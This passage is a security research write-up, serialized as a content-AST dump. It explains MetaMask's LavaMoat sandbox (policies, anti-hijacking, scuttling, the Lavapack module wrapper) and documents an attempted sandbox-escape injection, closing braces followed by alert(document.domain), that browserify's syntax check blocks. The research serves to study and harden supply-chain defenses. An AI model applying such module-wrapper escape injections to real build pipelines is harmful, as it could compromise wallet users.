\"globals\": {\n \"Event\": true,\n \"addEventListener\": true,\n \"chrome.runtime.connect\": true,\n \"console\": true,\n \"dispatchEvent\": true,\n \"document.createElement\": true,\n \"document.readyState\": true,\n \"ethereum\": \"write\",\n \"location.hostname\": true,\n \"removeEventListener\": true,\n \"web3\": true\n },\n \"packages\": {\n \"@metamask/object-multiplex\": true,\n \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[46883],{"type":26,"tag":53,"props":46884,"children":46885},{"__ignoreMap":7},[46886,46898,46913,46933,46952,46972,46992,47012,47032,47052,47073,47093,47112,47128,47135,47150,47170],{"type":26,"tag":475,"props":46887,"children":46888},{"class":477,"line":478},[46889,46894],{"type":26,"tag":475,"props":46890,"children":46891},{"style":629},[46892],{"type":32,"value":46893}," \"@metamask/providers\"",{"type":26,"tag":475,"props":46895,"children":46896},{"style":499},[46897],{"type":32,"value":36716},{"type":26,"tag":475,"props":46899,"children":46900},{"class":477,"line":516},[46901,46905,46909],{"type":26,"tag":475,"props":46902,"children":46903},{"style":629},[46904],{"type":32,"value":36724},{"type":26,"tag":475,"props":46906,"children":46907},{"style":2375},[46908],{"type":32,"value":179},{"type":26,"tag":475,"props":46910,"children":46911},{"style":499},[46912],{"type":32,"value":579},{"type":26,"tag":475,"props":46914,"children":46915},{"class":477,"line":539},[46916,46921,46925,46929],{"type":26,"tag":475,"props":46917,"children":46918},{"style":629},[46919],{"type":32,"value":46920}," \"Event\"",{"type":26,"tag":475,"props":46922,"children":46923},{"style":2375},[46924],{"type":32,"value":179},{"type":26,"tag":475,"props":46926,"children":46927},{"style":482},[46928],{"type":32,"value":1214},{"type":26,"tag":475,"props":46930,"children":46931},{"style":499},[46932],{"type":32,"value":2425},{"type":26,"tag":475,"props":46934,"children":46935},{"class":477,"line":548},[46936,46940,46944,46948],{"type":26,"tag":475,"props":46937,"children":46938},{"style":629},[46939],{"type":32,"value":36776},{"type":26,"tag":475,"props":46941,"children":46942},{"style":2375},[46943],{"type":32,"value":179},{"type":26,"tag":475,"props":46945,"children":46946},{"style":482},[46947],{"type":32,"value":1214},{"type":26,"tag":475,"props":46949,"children":46950},{"style":499},[46951],{"type":32,"value":2425},{"type":26,"tag":475,"props":46953,"children":46954},{"class":477,"line":558},[46955,46960,46964,46968],{"type":26,"tag":475,"props":46956,"children":46957},{"style":629},[46958],{"type":32,"value":46959}," \"chrome.runtime.connect\"",{"type":26,"tag":475,"props":46961,"children":46962},{"style":2375},[46963],{"type":32,"value":179},{"type":26,"tag":475,"props":46965,"children":46966},{"style":482},[46967],{"type":32,"value":1214},{"type":26,"tag":475,"props":46969,"children":46970},{"style":499},[46971],{"type":32,"value":2425},{"type":26,"tag":475,"props":46973,"children":46974},{"class":477,"line":582},[46975,46980,46984,46988],{"type":26,"tag":475,"props":46976,"children":46977},{"style":629},[46978],{"type":32,"value":46979}," \"console\"",{"type":26,"tag":475,"props":46981,"children":46982},{"style":2375},[46983],{"type":32,"value":179},{"type":26,"tag":475,"props":46985,"children":46986},{"style":482},[46987],{"type":32,"value":1214},{"type":26,"tag":475,"props":46989,"children":46990},{"style":499},[46991],{"type":32,"value":2425},{"type":26,"tag":475,"props":46993,"children":46994},{"class":477,"line":596},[46995,47000,47004,47008],{"type":26,"tag":475,"props":46996,"children":46997},{"style":629},[46998],{"type":32,"value":46999}," \"dispatchEvent\"",{"type":26,"tag":475,"props":47001,"children":47002},{"style":2375},[47003],{"type":32,"value":179},{"type":26,"tag":475,"props":47005,"children":47006},{"style":482},[47007],{"type":32,"value":1214},{"type":26,"tag":475,"props":47009,"children":47010},{"style":499},[47011],{"type":32,"value":2425},{"type":26,"tag":475,"props":47013,"children":47014},{"class":477,"line":610},[47015,47020,47024,47028],{"type":26,"tag":475,"props":47016,"children":47017},{"style":629},[47018],{"type":32,"value":47019}," \"document.createElement\"",{"type":26,"tag":475,"props":47021,"children":47022},{"style":2375},[47023],{"type":32,"value":179},{"type":26,"tag":475,"props":47025,"children":47026},{"style":482},[47027],{"type":32,"value":1214},{"type":26,"tag":475,"props":47029,"children":47030},{"style":499},[47031],{"type":32,"value":2425},{"type":26,"tag":475,"props":47033,"children":47034},{"class":477,"line":650},[47035,47040,47044,47048],{"type":26,"tag":475,"props":47036,"children":47037},{"style":629},[47038],{"type":32,"value":47039}," \"document.readyState\"",{"type":26,"tag":475,"props":47041,"children":47042},{"style":2375},[47043],{"type":32,"value":179},{"type":26,"tag":475,"props":47045,"children":47046},{"style":482},[47047],{"type":32,"value":1214},{"type":26,"tag":475,"props":47049,"children":47050},{"style":499},[47051],{"type":32,"value":2425},{"type":26,"tag":475,"props":47053,"children":47054},{"class":477,"line":679},[47055,47060,47064,47069],{"type":26,"tag":475,"props":47056,"children":47057},{"style":629},[47058],{"type":32,"value":47059}," \"ethereum\"",{"type":26,"tag":475,"props":47061,"children":47062},{"style":2375},[47063],{"type":32,"value":179},{"type":26,"tag":475,"props":47065,"children":47066},{"style":629},[47067],{"type":32,"value":47068}," \"write\"",{"type":26,"tag":475,"props":47070,"children":47071},{"style":499},[47072],{"type":32,"value":2425},{"type":26,"tag":475,"props":47074,"children":47075},{"class":477,"line":735},[47076,47081,47085,47089],{"type":26,"tag":475,"props":47077,"children":47078},{"style":629},[47079],{"type":32,"value":47080}," \"location.hostname\"",{"type":26,"tag":475,"props":47082,"children":47083},{"style":2375},[47084],{"type":32,"value":179},{"type":26,"tag":475,"props":47086,"children":47087},{"style":482},[47088],{"type":32,"value":1214},{"type":26,"tag":475,"props":47090,"children":47091},{"style":499},[47092],{"type":32,"value":2425},{"type":26,"tag":475,"props":47094,"children":47095},{"class":477,"line":744},[47096,47100,47104,47108],{"type":26,"tag":475,"props":47097,"children":47098},{"style":629},[47099],{"type":32,"value":36876},{"type":26,"tag":475,"props":47101,"children":47102},{"style":2375},[47103],{"type":32,"value":179},{"type":26,"tag":475,"props":47105,"children":47106},{"style":482},[47107],{"type":32,"value":1214},{"type":26,"tag":475,"props":47109,"children":47110},{"style":499},[47111],{"type":32,"value":2425},{"type":26,"tag":475,"props":47113,"children":47114},{"class":477,"line":753},[47115,47120,47124],{"type":26,"tag":475,"props":47116,"children":47117},{"style":629},[47118],{"type":32,"value":47119}," \"web3\"",{"type":26,"tag":475,"props":47121,"children":47122},{"style":2375},[47123],{"type":32,"value":179},{"type":26,"tag":475,"props":47125,"children":47126},{"style":482},[47127],{"type":32,"value":46242},{"type":26,"tag":475,"props":47129,"children":47130},{"class":477,"line":761},[47131],{"type":26,"tag":475,"props":47132,"children":47133},{"style":499},[47134],{"type":32,"value":36893},{"type":26,"tag":475,"props":47136,"children":47137},{"class":477,"line":770},[47138,47142,47146],{"type":26,"tag":475,"props":47139,"children":47140},{"style":629},[47141],{"type":32,"value":36901},{"type":26,"tag":475,"props":47143,"children":47144},{"style":2375},[47145],{"type":32,"value":179},{"type":26,"tag":475,"props":47147,"children":47148},{"style":499},[47149],{"type":32,"value":579},{"type":26,"tag":475,"props":47151,"children":47152},{"class":477,"line":794},[47153,47158,47162,47166],{"type":26,"tag":475,"props":47154,"children":47155},{"style":629},[47156],{"type":32,"value":47157}," \"@metamask/object-multiplex\"",{"type":26,"tag":475,"props":47159,"children":47160},{"style":2375},[47161],{"type":32,"value":179},{"type":26,"tag":475,"props":47163,"children":47164},{"style":482},[47165],{"type":32,"value":1214},{"type":26,"tag":475,"props":47167,"children":47168},{"style":499},[47169],{"type":32,"value":2425},{"type":26,"tag":475,"props":47171,"children":47172},{"class":477,"line":831},[47173,47178,47182],{"type":26,"tag":475,"props":47174,"children":47175},{"style":629},[47176],{"type":32,"value":47177}," \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":26,"tag":475,"props":47179,"children":47180},{"style":2375},[47181],{"type":32,"value":179},{"type":26,"tag":475,"props":47183,"children":47184},{"style":482},[47185],{"type":32,"value":46242},{"type":26,"tag":35,"props":47187,"children":47188},{},[47189,47190,47195,47197,47202,47204,47210],{"type":32,"value":16319},{"type":26,"tag":53,"props":47191,"children":47193},{"className":47192},[],[47194],{"type":32,"value":36966},{"type":32,"value":47196}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":26,"tag":53,"props":47198,"children":47200},{"className":47199},[],[47201],{"type":32,"value":36974},{"type":32,"value":47203}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":26,"tag":53,"props":47205,"children":47207},{"className":47206},[],[47208],{"type":32,"value":47209},"@metamask/providers",{"type":32,"value":47211}," interacts with other packages.",{"type":26,"tag":35,"props":47213,"children":47214},{},[47215,47217,47223],{"type":32,"value":47216},"To enforce these policies, LavaMoat uses ",{"type":26,"tag":53,"props":47218,"children":47220},{"className":47219},[],[47221],{"type":32,"value":47222},"lavapack",{"type":32,"value":47224},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":26,"tag":70,"props":47226,"children":47228},{"id":47227},"npm-anti-hijacking",[47229],{"type":32,"value":46845},{"type":26,"tag":35,"props":47231,"children":47232},{},[47233],{"type":32,"value":47234},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":26,"tag":35,"props":47236,"children":47237},{},[47238,47240,47247],{"type":32,"value":47239},"Instead, Lavamoat looks at how each package is connected by ",{"type":26,"tag":116,"props":47241,"children":47244},{"href":47242,"rel":47243},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[120],[47245],{"type":32,"value":47246},"walking the modules",{"type":32,"value":47248}," in a project's dependency tree, thus generating a unique name for each package.",{"type":26,"tag":70,"props":47250,"children":47252},{"id":47251},"scuttling",[47253],{"type":32,"value":46850},{"type":26,"tag":35,"props":47255,"children":47256},{},[47257,47259,47265],{"type":32,"value":47258},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":26,"tag":53,"props":47260,"children":47262},{"className":47261},[],[47263],{"type":32,"value":47264},"GlobalThis",{"type":32,"value":47266}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":26,"tag":35,"props":47268,"children":47269},{},[47270,47272,47279],{"type":32,"value":47271},"For example, ",{"type":26,"tag":116,"props":47273,"children":47276},{"href":47274,"rel":47275},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[120],[47277],{"type":32,"value":47278},"here",{"type":32,"value":47280}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":26,"tag":465,"props":47282,"children":47284},{"className":2332,"code":47283,"language":2334,"meta":7,"style":7}," if (scuttleOpts.enabled) {\n if (!Array.isArray(scuttleOpts.exceptions)) {\n throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n }\n scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n }\n",[47285],{"type":26,"tag":53,"props":47286,"children":47287},{"__ignoreMap":7},[47288,47317,47367,47426,47433,47505],{"type":26,"tag":475,"props":47289,"children":47290},{"class":477,"line":478},[47291,47295,47299,47304,47308,47313],{"type":26,"tag":475,"props":47292,"children":47293},{"style":586},[47294],{"type":32,"value":11988},{"type":26,"tag":475,"props":47296,"children":47297},{"style":499},[47298],{"type":32,"value":2775},{"type":26,"tag":475,"props":47300,"children":47301},{"style":2375},[47302],{"type":32,"value":47303},"scuttleOpts",{"type":26,"tag":475,"props":47305,"children":47306},{"style":499},[47307],{"type":32,"value":353},{"type":26,"tag":475,"props":47309,"children":47310},{"style":2375},[47311],{"type":32,"value":47312},"enabled",{"type":26,"tag":475,"props":47314,"children":47315},{"style":499},[47316],{"type":32,"value":676},{"type":26,"tag":475,"props":47318,"children":47319},{"class":477,"line":516},[47320,47324,47328,47332,47337,47341,47346,47350,47354,47358,47363],{"type":26,"tag":475,"props":47321,"children":47322},{"style":586},[47323],{"type":32,"value":38978},{"type":26,"tag":475,"props":47325,"children":47326},{"style":499},[47327],{"type":32,"value":2775},{"type":26,"tag":475,"props":47329,"children":47330},{"style":714},[47331],{"type":32,"value":20329},{"type":26,"tag":475,"props":47333,"children":47334},{"style":2375},[47335],{"type":32,"value":47336},"Array",{"type":26,"tag":475,"props":47338,"children":47339},{"style":499},[47340],{"type":32,"value":353},{"type":26,"tag":475,"props":47342,"children":47343},{"style":493},[47344],{"type":32,"value":47345},"isArray",{"type":26,"tag":475,"props":47347,"children":47348},{"style":499},[47349],{"type":32,"value":626},{"type":26,"tag":475,"props":47351,"children":47352},{"style":2375},[47353],{"type":32,"value":47303},{"type":26,"tag":475,"props":47355,"children":47356},{"style":499},[47357],{"type":32,"value":353},{"type":26,"tag":475,"props":47359,"children":47360},{"style":2375},[47361],{"type":32,"value":47362},"exceptions",{"type":26,"tag":475,"props":47364,"children":47365},{"style":499},[47366],{"type":32,"value":34889},{"type":26,"tag":475,"props":47368,"children":47369},{"class":477,"line":539},[47370,47375,47379,47383,47387,47392,47396,47400,47405,47409,47413,47417,47422],{"type":26,"tag":475,"props":47371,"children":47372},{"style":586},[47373],{"type":32,"value":47374}," throw",{"type":26,"tag":475,"props":47376,"children":47377},{"style":482},[47378],{"type":32,"value":31633},{"type":26,"tag":475,"props":47380,"children":47381},{"style":493},[47382],{"type":32,"value":39973},{"type":26,"tag":475,"props":47384,"children":47385},{"style":499},[47386],{"type":32,"value":626},{"type":26,"tag":475,"props":47388,"children":47389},{"style":629},[47390],{"type":32,"value":47391},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":26,"tag":475,"props":47393,"children":47394},{"style":482},[47395],{"type":32,"value":711},{"type":26,"tag":475,"props":47397,"children":47398},{"style":482},[47399],{"type":32,"value":31103},{"type":26,"tag":475,"props":47401,"children":47402},{"style":2375},[47403],{"type":32,"value":47404}," scuttleOpts",{"type":26,"tag":475,"props":47406,"children":47407},{"style":714},[47408],{"type":32,"value":353},{"type":26,"tag":475,"props":47410,"children":47411},{"style":2375},[47412],{"type":32,"value":47362},{"type":26,"tag":475,"props":47414,"children":47415},{"style":482},[47416],{"type":32,"value":722},{"type":26,"tag":475,"props":47418,"children":47419},{"style":629},[47420],{"type":32,"value":47421},"\"`",{"type":26,"tag":475,"props":47423,"children":47424},{"style":499},[47425],{"type":32,"value":647},{"type":26,"tag":475,"props":47427,"children":47428},{"class":477,"line":548},[47429],{"type":26,"tag":475,"props":47430,"children":47431},{"style":499},[47432],{"type":32,"value":12372},{"type":26,"tag":475,"props":47434,"children":47435},{"class":477,"line":558},[47436,47441,47445,47450,47454,47459,47463,47468,47472,47477,47481,47485,47489,47493,47497,47501],{"type":26,"tag":475,"props":47437,"children":47438},{"style":2375},[47439],{"type":32,"value":47440}," scuttleOpts",{"type":26,"tag":475,"props":47442,"children":47443},{"style":499},[47444],{"type":32,"value":353},{"type":26,"tag":475,"props":47446,"children":47447},{"style":493},[47448],{"type":32,"value":47449},"scuttlerFunc",{"type":26,"tag":475,"props":47451,"children":47452},{"style":499},[47453],{"type":32,"value":626},{"type":26,"tag":475,"props":47455,"children":47456},{"style":2375},[47457],{"type":32,"value":47458},"globalRef",{"type":26,"tag":475,"props":47460,"children":47461},{"style":499},[47462],{"type":32,"value":637},{"type":26,"tag":475,"props":47464,"children":47465},{"style":2375},[47466],{"type":32,"value":47467},"realm",{"type":26,"tag":475,"props":47469,"children":47470},{"style":482},[47471],{"type":32,"value":27454},{"type":26,"tag":475,"props":47473,"children":47474},{"style":493},[47475],{"type":32,"value":47476}," performScuttleGlobalThis",{"type":26,"tag":475,"props":47478,"children":47479},{"style":499},[47480],{"type":32,"value":626},{"type":26,"tag":475,"props":47482,"children":47483},{"style":2375},[47484],{"type":32,"value":47467},{"type":26,"tag":475,"props":47486,"children":47487},{"style":499},[47488],{"type":32,"value":637},{"type":26,"tag":475,"props":47490,"children":47491},{"style":2375},[47492],{"type":32,"value":47303},{"type":26,"tag":475,"props":47494,"children":47495},{"style":499},[47496],{"type":32,"value":353},{"type":26,"tag":475,"props":47498,"children":47499},{"style":2375},[47500],{"type":32,"value":47362},{"type":26,"tag":475,"props":47502,"children":47503},{"style":499},[47504],{"type":32,"value":1510},{"type":26,"tag":475,"props":47506,"children":47507},{"class":477,"line":582},[47508],{"type":26,"tag":475,"props":47509,"children":47510},{"style":499},[47511],{"type":32,"value":851},{"type":26,"tag":35,"props":47513,"children":47514},{},[47515,47517,47523,47525,47531],{"type":32,"value":47516},"Subsequently, the code defines a ",{"type":26,"tag":116,"props":47518,"children":47521},{"href":47519,"rel":47520},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[120],[47522],{"type":32,"value":31077},{"type":32,"value":47524}," called ",{"type":26,"tag":53,"props":47526,"children":47528},{"className":47527},[],[47529],{"type":32,"value":47530},"generateScuttleOpts",{"type":32,"value":47532}," that creates and returns an options object.",{"type":26,"tag":35,"props":47534,"children":47535},{},[47536,47538,47544,47545,47551,47553,47558,47560,47566],{"type":32,"value":47537},"Finally, the ",{"type":26,"tag":53,"props":47539,"children":47541},{"className":47540},[],[47542],{"type":32,"value":47543},"performScuttleGlobalThis",{"type":32,"value":6171},{"type":26,"tag":116,"props":47546,"children":47549},{"href":47547,"rel":47548},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[120],[47550],{"type":32,"value":31077},{"type":32,"value":47552}," modifies the properties of the global object (",{"type":26,"tag":53,"props":47554,"children":47556},{"className":47555},[],[47557],{"type":32,"value":47458},{"type":32,"value":47559},"). It starts by creating an array ",{"type":26,"tag":53,"props":47561,"children":47563},{"className":47562},[],[47564],{"type":32,"value":47565},"props",{"type":32,"value":47567},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":26,"tag":27,"props":47569,"children":47571},{"id":47570},"hacking-webpacks",[47572],{"type":32,"value":47573},"Hacking Webpacks",{"type":26,"tag":35,"props":47575,"children":47576},{},[47577],{"type":32,"value":47578},"Now let's get to the fun stuff.",{"type":26,"tag":35,"props":47580,"children":47581},{},[47582],{"type":32,"value":47583},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":26,"tag":465,"props":47585,"children":47587},{"className":2332,"code":47586,"language":2334,"meta":7,"style":7}," const filename = encodeURI(String(moduleData.file))\n let moduleWrapperSource\n if (bundleWithPrecompiledModules) {\n moduleWrapperSource = `function(){\n with (this.scopeTerminator) {\n with (this.globalThis) {\n return function() {\n 'use strict';\n // source: ${filename}\n return function (require, module, exports) {\n __MODULE_CONTENT__\n };\n };\n }\n }\n }`\n",[47588],{"type":26,"tag":53,"props":47589,"children":47590},{"__ignoreMap":7},[47591,47643,47655,47675,47692,47700,47708,47716,47724,47745,47753,47761,47769,47776,47783,47790],{"type":26,"tag":475,"props":47592,"children":47593},{"class":477,"line":478},[47594,47598,47603,47607,47612,47616,47621,47625,47630,47634,47639],{"type":26,"tag":475,"props":47595,"children":47596},{"style":482},[47597],{"type":32,"value":35883},{"type":26,"tag":475,"props":47599,"children":47600},{"style":2375},[47601],{"type":32,"value":47602}," filename",{"type":26,"tag":475,"props":47604,"children":47605},{"style":714},[47606],{"type":32,"value":2383},{"type":26,"tag":475,"props":47608,"children":47609},{"style":493},[47610],{"type":32,"value":47611}," encodeURI",{"type":26,"tag":475,"props":47613,"children":47614},{"style":499},[47615],{"type":32,"value":626},{"type":26,"tag":475,"props":47617,"children":47618},{"style":493},[47619],{"type":32,"value":47620},"String",{"type":26,"tag":475,"props":47622,"children":47623},{"style":499},[47624],{"type":32,"value":626},{"type":26,"tag":475,"props":47626,"children":47627},{"style":2375},[47628],{"type":32,"value":47629},"moduleData",{"type":26,"tag":475,"props":47631,"children":47632},{"style":499},[47633],{"type":32,"value":353},{"type":26,"tag":475,"props":47635,"children":47636},{"style":2375},[47637],{"type":32,"value":47638},"file",{"type":26,"tag":475,"props":47640,"children":47641},{"style":499},[47642],{"type":32,"value":1510},{"type":26,"tag":475,"props":47644,"children":47645},{"class":477,"line":516},[47646,47650],{"type":26,"tag":475,"props":47647,"children":47648},{"style":482},[47649],{"type":32,"value":2372},{"type":26,"tag":475,"props":47651,"children":47652},{"style":2375},[47653],{"type":32,"value":47654}," moduleWrapperSource\n",{"type":26,"tag":475,"props":47656,"children":47657},{"class":477,"line":539},[47658,47662,47666,47671],{"type":26,"tag":475,"props":47659,"children":47660},{"style":586},[47661],{"type":32,"value":31094},{"type":26,"tag":475,"props":47663,"children":47664},{"style":499},[47665],{"type":32,"value":2775},{"type":26,"tag":475,"props":47667,"children":47668},{"style":2375},[47669],{"type":32,"value":47670},"bundleWithPrecompiledModules",{"type":26,"tag":475,"props":47672,"children":47673},{"style":499},[47674],{"type":32,"value":676},{"type":26,"tag":475,"props":47676,"children":47677},{"class":477,"line":548},[47678,47683,47687],{"type":26,"tag":475,"props":47679,"children":47680},{"style":2375},[47681],{"type":32,"value":47682}," moduleWrapperSource",{"type":26,"tag":475,"props":47684,"children":47685},{"style":714},[47686],{"type":32,"value":2383},{"type":26,"tag":475,"props":47688,"children":47689},{"style":629},[47690],{"type":32,"value":47691}," `function(){\n",{"type":26,"tag":475,"props":47693,"children":47694},{"class":477,"line":558},[47695],{"type":26,"tag":475,"props":47696,"children":47697},{"style":629},[47698],{"type":32,"value":47699}," with (this.scopeTerminator) {\n",{"type":26,"tag":475,"props":47701,"children":47702},{"class":477,"line":582},[47703],{"type":26,"tag":475,"props":47704,"children":47705},{"style":629},[47706],{"type":32,"value":47707}," with (this.globalThis) {\n",{"type":26,"tag":475,"props":47709,"children":47710},{"class":477,"line":596},[47711],{"type":26,"tag":475,"props":47712,"children":47713},{"style":629},[47714],{"type":32,"value":47715}," return function() {\n",{"type":26,"tag":475,"props":47717,"children":47718},{"class":477,"line":610},[47719],{"type":26,"tag":475,"props":47720,"children":47721},{"style":629},[47722],{"type":32,"value":47723}," 'use strict';\n",{"type":26,"tag":475,"props":47725,"children":47726},{"class":477,"line":650},[47727,47732,47736,47741],{"type":26,"tag":475,"props":47728,"children":47729},{"style":629},[47730],{"type":32,"value":47731}," // source: ",{"type":26,"tag":475,"props":47733,"children":47734},{"style":482},[47735],{"type":32,"value":711},{"type":26,"tag":475,"props":47737,"children":47738},{"style":2375},[47739],{"type":32,"value":47740},"filename",{"type":26,"tag":475,"props":47742,"children":47743},{"style":482},[47744],{"type":32,"value":3607},{"type":26,"tag":475,"props":47746,"children":47747},{"class":477,"line":679},[47748],{"type":26,"tag":475,"props":47749,"children":47750},{"style":629},[47751],{"type":32,"value":47752}," return function (require, module, exports) {\n",{"type":26,"tag":475,"props":47754,"children":47755},{"class":477,"line":735},[47756],{"type":26,"tag":475,"props":47757,"children":47758},{"style":629},[47759],{"type":32,"value":47760}," __MODULE_CONTENT__\n",{"type":26,"tag":475,"props":47762,"children":47763},{"class":477,"line":744},[47764],{"type":26,"tag":475,"props":47765,"children":47766},{"style":629},[47767],{"type":32,"value":47768}," };\n",{"type":26,"tag":475,"props":47770,"children":47771},{"class":477,"line":753},[47772],{"type":26,"tag":475,"props":47773,"children":47774},{"style":629},[47775],{"type":32,"value":8413},{"type":26,"tag":475,"props":47777,"children":47778},{"class":477,"line":761},[47779],{"type":26,"tag":475,"props":47780,"children":47781},{"style":629},[47782],{"type":32,"value":750},{"type":26,"tag":475,"props":47784,"children":47785},{"class":477,"line":770},[47786],{"type":26,"tag":475,"props":47787,"children":47788},{"style":629},[47789],{"type":32,"value":12372},{"type":26,"tag":475,"props":47791,"children":47792},{"class":477,"line":794},[47793],{"type":26,"tag":475,"props":47794,"children":47795},{"style":629},[47796],{"type":32,"value":47797}," }`\n",{"type":26,"tag":35,"props":47799,"children":47800},{},[47801,47803,47809,47811,47817],{"type":32,"value":47802},"Lavapack uses ",{"type":26,"tag":53,"props":47804,"children":47806},{"className":47805},[],[47807],{"type":32,"value":47808},"with()",{"type":32,"value":47810}," proxies to restrict the objects accessible by the module, and ",{"type":26,"tag":53,"props":47812,"children":47814},{"className":47813},[],[47815],{"type":32,"value":47816},"__MODULE_CONTENT__",{"type":32,"value":47818}," is replaced by the content of a file required by the project being built.",{"type":26,"tag":41,"props":47820,"children":47822},{"id":47821},"injection-not-so-simple",[47823],{"type":32,"value":47824},"Injection? Not So Simple",{"type":26,"tag":35,"props":47826,"children":47827},{},[47828,47830,47835],{"type":32,"value":47829},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":26,"tag":53,"props":47831,"children":47833},{"className":47832},[],[47834],{"type":32,"value":12359},{"type":32,"value":47836}," environment:",{"type":26,"tag":465,"props":47838,"children":47840},{"className":2332,"code":47839,"language":2334,"meta":7,"style":7}," } // end function 1\n } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[47841],{"type":26,"tag":53,"props":47842,"children":47843},{"__ignoreMap":7},[47844,47857,47869,47881,47893,47900],{"type":26,"tag":475,"props":47845,"children":47846},{"class":477,"line":478},[47847,47852],{"type":26,"tag":475,"props":47848,"children":47849},{"style":499},[47850],{"type":32,"value":47851}," } ",{"type":26,"tag":475,"props":47853,"children":47854},{"style":552},[47855],{"type":32,"value":47856},"// end function 1\n",{"type":26,"tag":475,"props":47858,"children":47859},{"class":477,"line":516},[47860,47864],{"type":26,"tag":475,"props":47861,"children":47862},{"style":499},[47863],{"type":32,"value":31168},{"type":26,"tag":475,"props":47865,"children":47866},{"style":552},[47867],{"type":32,"value":47868},"// end function 2\n",{"type":26,"tag":475,"props":47870,"children":47871},{"class":477,"line":539},[47872,47876],{"type":26,"tag":475,"props":47873,"children":47874},{"style":499},[47875],{"type":32,"value":35897},{"type":26,"tag":475,"props":47877,"children":47878},{"style":552},[47879],{"type":32,"value":47880},"// end with 1\n",{"type":26,"tag":475,"props":47882,"children":47883},{"class":477,"line":548},[47884,47888],{"type":26,"tag":475,"props":47885,"children":47886},{"style":499},[47887],{"type":32,"value":46567},{"type":26,"tag":475,"props":47889,"children":47890},{"style":552},[47891],{"type":32,"value":47892},"// end with 2\n",{"type":26,"tag":475,"props":47894,"children":47895},{"class":477,"line":558},[47896],{"type":26,"tag":475,"props":47897,"children":47898},{"emptyLinePlaceholder":18},[47899],{"type":32,"value":545},{"type":26,"tag":475,"props":47901,"children":47902},{"class":477,"line":582},[47903,47907,47911,47915,47919,47923],{"type":26,"tag":475,"props":47904,"children":47905},{"style":493},[47906],{"type":32,"value":32396},{"type":26,"tag":475,"props":47908,"children":47909},{"style":499},[47910],{"type":32,"value":626},{"type":26,"tag":475,"props":47912,"children":47913},{"style":2375},[47914],{"type":32,"value":32406},{"type":26,"tag":475,"props":47916,"children":47917},{"style":499},[47918],{"type":32,"value":353},{"type":26,"tag":475,"props":47920,"children":47921},{"style":2375},[47922],{"type":32,"value":32416},{"type":26,"tag":475,"props":47924,"children":47925},{"style":499},[47926],{"type":32,"value":647},{"type":26,"tag":35,"props":47928,"children":47929},{},[47930,47932,47938,47940,47947],{"type":32,"value":47931},"However, when we tried to bundle it, a ",{"type":26,"tag":53,"props":47933,"children":47935},{"className":47934},[],[47936],{"type":32,"value":47937},"ParseError",{"type":32,"value":47939}," was thrown. This is because Lavapack is a plugin of ",{"type":26,"tag":116,"props":47941,"children":47944},{"href":47942,"rel":47943},"https://github.com/browserify/browserify",[120],[47945],{"type":32,"value":47946},"browserify",{"type":32,"value":47948},", which has a syntax check before replacing the code.",{"type":26,"tag":35,"props":47950,"children":47951},{},[47952,47954,47960,47962,47968,47970,47976,47978,47983],{"type":32,"value":47953},"Looking deeper into browserify, we find it has a ",{"type":26,"tag":53,"props":47955,"children":47957},{"className":47956},[],[47958],{"type":32,"value":47959},"syntax",{"type":32,"value":47961}," stage on it's pipeline, and uses the ",{"type":26,"tag":53,"props":47963,"children":47965},{"className":47964},[],[47966],{"type":32,"value":47967},"syntax-error",{"type":32,"value":47969}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":26,"tag":53,"props":47971,"children":47973},{"className":47972},[],[47974],{"type":32,"value":47975},"pack",{"type":32,"value":47977}," stage on browserify pipeline, which comes after the ",{"type":26,"tag":53,"props":47979,"children":47981},{"className":47980},[],[47982],{"type":32,"value":47959},{"type":32,"value":47984},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":26,"tag":35,"props":47986,"children":47987},{},[47988],{"type":26,"tag":132,"props":47989,"children":47992},{"alt":47990,"src":47991},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":26,"tag":35,"props":47994,"children":47995},{},[47996,47997,48002,48004,48009],{"type":32,"value":16319},{"type":26,"tag":53,"props":47998,"children":48000},{"className":47999},[],[48001],{"type":32,"value":47967},{"type":32,"value":48003}," package performs a syntax check by using ",{"type":26,"tag":53,"props":48005,"children":48007},{"className":48006},[],[48008],{"type":32,"value":37242},{"type":32,"value":48010}," with function hoisting:",{"type":26,"tag":465,"props":48012,"children":48014},{"className":2332,"code":48013,"language":2334,"meta":7,"style":7},"try {\n eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n return;\n}\ncatch (err) {\n if (err === 'STOP') return undefined;\n if (err.constructor.name !== 'SyntaxError') return err;\n return errorInfo(src, file, 